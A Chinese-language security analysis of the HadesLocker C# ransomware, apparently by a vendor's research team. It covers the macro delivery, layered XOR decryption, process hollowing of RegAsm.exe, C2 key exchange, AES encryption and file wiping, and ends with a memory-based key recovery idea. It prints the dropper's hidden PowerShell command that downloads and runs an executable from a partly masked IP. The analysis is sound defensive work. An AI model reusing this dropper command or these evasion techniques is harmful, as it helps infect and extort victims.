當前位置:
首頁 > 新聞 > 直面冥王:最新爆發的C#敲詐木馬HadesLocker解讀

直面冥王:最新爆發的C#敲詐木馬HadesLocker解讀

近日哈勃分析系統捕獲到一類由C#語言編寫的新的敲詐勒索木馬。之前出現 的C#語言編寫的木馬只是簡單地調用了一些C#庫來輔助開發。與之相比,這次的變種增加了多層嵌套解密、動態反射調用 等複雜手段,外加多種混淆技術, 提升了分析難度。

木馬加密文件時使用AES256演算法, 在特定條件下可以還原加密的文件。

背景簡介:

HadesLocker是10月份新爆發的一個敲詐勒索類木馬,會加密用戶 特定後綴名的文件,包括本地驅動器和網路驅動器, 加密後文件後綴為.~HL外加5個 隨機字元,然後生成txt,html、png三種形式的文件來通知用戶支付 贖金,桌面背景也會被改為生成的png文件。

打開支付贖金的網站可以看到,用戶必須支付1比特幣的贖金才能獲取解密 密碼,並且如果在規定的時間內沒有支付,贖金價格將升至2比特幣 。在該網站上,木馬作者將其命名為HadesLocker。此網站域名為俄羅斯頂級域名ru,無法查詢到進一步的註冊信息。


樣本分析:

原始傳播文件依然延續了最近的趨勢,使用宏文檔進行傳播,打開文檔之後運行宏會 啟動powershell命令,下載木馬主體並且運行 :


C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile("http://185.*.*.66/update.exe","C:UsersADMINI~1AppDataLocalTempupdate345.exe"); Start-Process("C:UsersADMINI~1AppDataLocalTempupdate345.exe")

其中的下載IP經查詢來自荷蘭。

下載到的update345.exe是一個rar自解壓 包,打開後可以看到包含3個文件, 其中一個exe是木馬啟動入口,另外兩個文件均是一些二進位數據。

Osiyykss.exe是一個C#程序,所有 的源碼都經過了混淆,主要包括函數名與變數名混淆 ,執行流程混淆,外加垃圾指令等。

例如下面是其中一個較為簡單的被混淆的方法:

可以看到混淆形式如下:


while(true)

{

switch()

case 1:

case 2:

……

}

使用其中硬編碼的一些大數常量,然後 通過各種運算決定進哪個執行分支,以此 混淆執行流。因此後面可以看到,本文幾乎所有截圖中的代碼 基本都在某個switch的case里。外加所有的字元串都是動態解密的,這 對靜態分析造成了很大困擾,所以主要需要依靠動態調試這個樣本。


Osiyykss.exe分析:

Osiyykss.exe啟動後首先讀取壓縮包內的另一個文件Krrxoeoaonmsiyyk.png, 並且開始解密:

Krrxoeoaonmsiyyk.png解密後是一個C#程序集,解密 方法不算複雜,使用固定的字元串「Dlghooxwxclesvxamv」 為key,然後順序異或加密。由此可得到 解密演算法為:


For i in FileSize:

FileBytes[i] ^= Key[ i % KenLen ];

解密後的程序集是這樣的:

解密後Osiyykss.exe使用延遲綁定技術動態調用 這個名為」IE」的程序集:


IE程序集:

首先木馬將自身複製到AppDataRoamingwow6232node目錄 下,此目錄名懷疑是模仿系統中常見的WOW6432Node的名稱。

然後創建一個快捷方式,指向wow6232node目錄下的 新文件,並且將快捷方式設置為自啟動項。

接下來讀取壓縮包的另一個文件Senagxehdojk.xml,並且調用IE:PolyDecrypt開始解密 ,解密的key與之前解密IE程序集的key一樣 ,但是解密方法略有不同,解密演算法大意如下:


For i in FileSize*2:

FileBytes[i % FileSize] = (BYTE)(((int)((FileBytes[i % FileSize] ^ Key[i % KeyLen]) - FileBytes[(i + 1) % FileSize]) + 256) % 256);

Senagxehdojk.xml解密後為另一個程序集S oftware,這個程序集才是敲詐木馬實現加密勒索的主要程序集,但木馬十分狡猾,並沒有直接調用該程序集。

說回IE程序集,IE程序集資源還包含了一個PE文件:

該PE文件也是一個C#程序集,名為C Lib,IE程序集使用反射技術動態調用 資源中Clib程序集的Pe.Run()。


CLib程序集:

接下來的流程在CLib程序集 上負責執行,上圖可以看到,在調用此程序集 時還使用了3個參數,Injection是.net目錄 下RegAsm.exe的全路徑,parameters為null ,而vfile則是之前解密的Software 程序集的資源數據。

CLib程序集的功能比較單一,首先以 CREATE_SUSPENDED創建RegAsm.exe進程並掛起:

然後使用PeLoader技術,將RegAsm進程 的內存鏡像替換為之前解密的software程序集, 然後恢復原RegAsm.exe進程繼續執行。


Software程序集:

此時經過了層層的動態load、內存載入技術 ,終於要到了真正加密文件的地方了,按照之前流程所述, 雖然進程是RegAsm.exe,但這時RegAsm.exe的實際內存 其實已經被替換為Software程序集了。

Software程序集首先解密兩段局部 變數保存的的二進位數據。第一段數據解密後發現又 是一個程序集,然後反射動態載入該程序集。

因為是從一個局部硬編碼 的二進位數據中解密的,所以該程序集不是很大,用Reflector可以 看到該程序集並沒有實際的功能,但資源里包含兩個字元串,內容是 加密所有文件後,木馬生成用來通知用戶 支付贖金的文本,包括HTML 與TXT。

第二段數據解密後是木馬 將要使用的所有的字元串數據,如贖金支付網址等。

然後,Software程序集從HKEY_CURRENT_USERSoftwareWow6232Node獲取hwid和status的 值,如果不存在就創建該註冊表項,並計算鍵值。

status代表當前加密狀態,未加密為0,當加密完全盤後置為 1。

hwid代表被感染用戶的唯一ID,這個ID很重要 ,用於表明受害者的身份,計算方法如下:先生成 一段GUID,然後把其中的「 -」替換掉,最後 取前0×10個位元組,轉為大寫,就得到了當前用戶的ID。

接下來,木馬從http://ip-api.com/xml獲取當前 的IP信息,以及獲取計算機名,賬戶名等信息。

這些數據都獲取到之後,木馬會把數據發往伺服器ng****tz.ru去 請求加密密鑰,請求使用的是HTTP POST的方式, 參數包括之前計算的中招用戶唯一ID,賬戶名,計算機名、 IP地址、國家信息等:


hwid=****&tracking_id=****&usercomputername=****&ip=*.*.*.*&country=CN

如果是在斷網狀態下,則木馬 會不斷嘗試連接,直到連接成功,因此在斷網狀態文件不會 立即加密。

伺服器接收到POST請求後 返回信息為如下格式:


"[STATUS=ACCEPTED][=][PASSWORD=0KDZX-zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn]"

其中的PASSWORD以「-」 分割為兩部分。

第一部分表明加密後的文件的隨機後綴名 ,文件後綴名規則為.~HL加上獲取到的隨機字元,所以本次被加密 文件的後綴名為.~HL0KDZX 。

第二部分為zjxRf3fFwCc0aB0dpHOJEAKyirVorBCn,首先把 字元串根據ascii轉換為二進位,然後計算一次SHA512,HASH完 的結果長度為0×40個位元組,分為2個 部分,前0×20為Key1,中間0×10個位元組為Key2, 兩個Key都是接下來的文件 加密演算法用到的參數。

接下來開始生成PNG、TXT、HTML三種格式的文件 用於通知用戶,文件名規則為README_RECOVER_FILES_加HWID 再加上相應的後綴名。通知內容中, 支付贖金截止日期為系統當前時間加7天,其餘一些 信息則簡單做一些替換,比如用戶當前的HWID、支付贖金的網站等。生成相應的文件內容後, 保存到系統關鍵目錄下, 比如Documents,Pictures目錄。

做完以上步驟之後,木馬開始加密文件,會被此木馬加密的所有 文件後綴名如下:


.contact .dbx .doc .docx .jnt .jpg .mapimail .msg .oab .ods .pdf .pps .ppsm .ppt .pptm .prf .pst .rar .rtf .txt .wab .xls .xlsx .xml .zip .1cd .3ds .3g2 .3gp .7z .7zip .accdb .aoi .asf .asp .aspx .asx .avi .bak .cer .cfg .class .config .css .csv .db .dds .dwg .dxf .flf .flv .html .idx .js .key .kwm .laccdb .ldf .lit .m3u .mbx .md .mdf .mid .mlb .mov .mp3 .mp4 .mpg .obj .odt .pages .php .psd .pwm .rm .safe .sav .save .sql .srt .swf .thm .vob .wav .wma .wmv .xlsb .3dm .aac .ai .arw .c .cdr .cls .cpi .cpp .cs .db3 .docm .dot .dotm .dotx .drw .dxb .eps .fla .flac .fxg .java .m .m4v .max .mdb .pcd .pct .pl .potm .potx .ppam .ppsm .ppsx .pptm .ps .pspima .r3d .rw2 .sldm .sldx .svg .tga .wps .xla .xlam .xlm .xlr .xlsm .xlt .xltm .xltx .xlw .act .adp .al .bkp .blend .cdf .cdx .cgm .cr2 .crt .dac .dbf .dcr .ddd .design .dtd .fdb .fff .fpx .h .iif .indd .jpeg .mos .nd .nsd .nsf .nsg .nsh .odc .odp .oil .pas .pat .pef .pfx .ptx .qbb .qbm .sas7bd .say .st4 .st6 .stc .sxc .sxw .tlg .wad .xlk .aiff .bin .bmp .cmt .dat .dit .edb .flvv .gif .groups .hdd .hpp .log .m2ts .m4p .mkv .mpeg .ndf .nvram .ogg .ost .pab .pdb .pif .png .qed .qcow .qcow2 .rvt .st7 .stm .vbox .vdi .vhd .vhdx .vmdk .vmsd .vmx .vmxf .3fr .3pr .ab4 .accde .accdr .accdt .ach .acr .adb .ads .agdl .ait .apj .asm .awg .back .backup .backup .bank .bay .bdb .bgt .bik .bpw .cdr3 .cdr4 .cdr5 .cdr6 .cdrw .ce1 .ce2 .cib .craw .crw .csh .csl .db_jou .dc2 .dcs .ddoc .ddrw .der .des .dgc .djvu .dng .drf .dxg .eml .erbsql .erf .exf .ffd .fh .fhd .gray .grey .gry .hbk .ibank .ibd .ibz .iiq .incpas .jpe .kc2 .kdbx .kdc .kpdx .lua .mdc .mef .mfw .mmw .mny .moneyw .mrw .myd .ndd .nef .nk2 .nop .nrw .ns2 .ns3 .ns4 .nwb .nx2 .nxl .nyf .odb .odf .odg .odm .orf .otg .oth .otp .ots .ott .p12 .p7b .p7c .pdd .pem .plus_m .plc .pot .pptx .psafe3 .py .qba .qbr .qbw .qbx .qby .raf .rat .raw .rdb .rwl .rwz .s3db .sd0 .sda .sdf .sqlite .sqlite .sqlite .sr2 .srf .srw .st5 .st8 .std .sti .stw .stx .sxd .sxg .sxi .sxm .tex .wallet .wb2 .wpd .x11 .x3f .xis .ycbcra .yuv

在加密過程中,為了保證系統正常運行,如下幾個目錄會被木馬跳過:

Windows、program files、program files(x86)、system volume information、 $recycle.bin

木馬的加密方式為AES256對稱加密, key為之前得到的key1, IV為key2,以0×1000為單位循環加密 ,對於文件大小小於0×1000的文件,使用0來 補齊。大於0×1000的文件,最後不夠0×1000的內容重複使用 之前的buffer補齊。

加密完文件後,對於原始文件木馬並沒有 馬上直接刪除,而是先生成隨機數進行填充 ,並且篡改了文件的創建時間、最後訪問時間等,最後再進行刪除 。這樣做的目的是防止使用一些文件恢復工具進行恢復, 從中也可以看出此木馬為了獲取非法利益給受害者造成了非常大的破壞。

在加密了全盤文件後,木馬會打開HTML和TXT文件 ,並且修改桌面背景以通知用戶支付贖金。


密鑰與解密:

在加密過程中,可以看到木馬使用的是 AES加密,所以如果知道密鑰是可以恢復文件的,而密鑰獲取 是通過向伺服器POST請求拿到PASSWORD,然後通過SHA512計算 來的。遺憾的是,就算使用固定的 HWID,IP等信息,每次請求獲取到的PASSWORD 都不相同,可見伺服器進行了一些隨機化處理,因此這個方法獲取 密鑰是行不通的。

不過,伺服器傳回的PASSWORD信息,在木馬 的主體,也就是RegAsm.exe進程的 內存里可以找到,而且RegAsm.exe在完成所有加密後並不會退出, 因此如果在用戶重啟電腦之前,能夠從內存中提取出這段密鑰,可以嘗試還原被加密的文件。

*作者:騰訊電腦管家(企業賬號),轉載請註明來自FreeBuf.COM



TAG: |
您可能感興趣

iPod已去!索尼Walkman新旗艦隨身聽爆發
《Fate/Apocrypha》紅之Saber手辦 叛逆騎士怒火爆發
[圖]新型Android木馬Xavier爆發:可悄然竊取你的個人信息
Intel怒爆發!iPhone X面部識別秒成渣
《Hand Shakers》最終話先行圖 與「神明」爆發決戰
《Man Hole》首版預告公開 dance歌手金在中一直隱藏的淘氣美大爆發!
Girlsday YURA最新畫報 美貌爆發
AMD Ryzen處理器大爆發:Intel徹底慌了
微軟Build大會:VS for Mac發布,首日主角AI、Azure;Java 9 恐再延期;比特幣勒索病毒在華爆發
全球爆發電腦勒索病毒WannaCry 微軟稱最新版Windows 10很安全
V、Jin都是Sone!一句Do U Know少時飯心爆發
「老爹鞋」爆發前奏,Kanye West再次親身上腳YEEZY Runner
Petya勒索軟體變種Nyetya全球爆發,思科Talos率先響應
金泫雅前往錄製《Happy Together》第三季性感魅力爆發
Wonder Girls宣美機場秀 撩發模式大爆發
BLACKPINK在日未出道先紅 showcase人氣大爆發
最近美貌爆發Red Velvet的WENDY少女妝容
runningman:人格魅力爆發!這樣的劉在石帥到我了
《美味奇緣》矛盾全面爆發  毛曉彤「失明」忍痛放棄Mike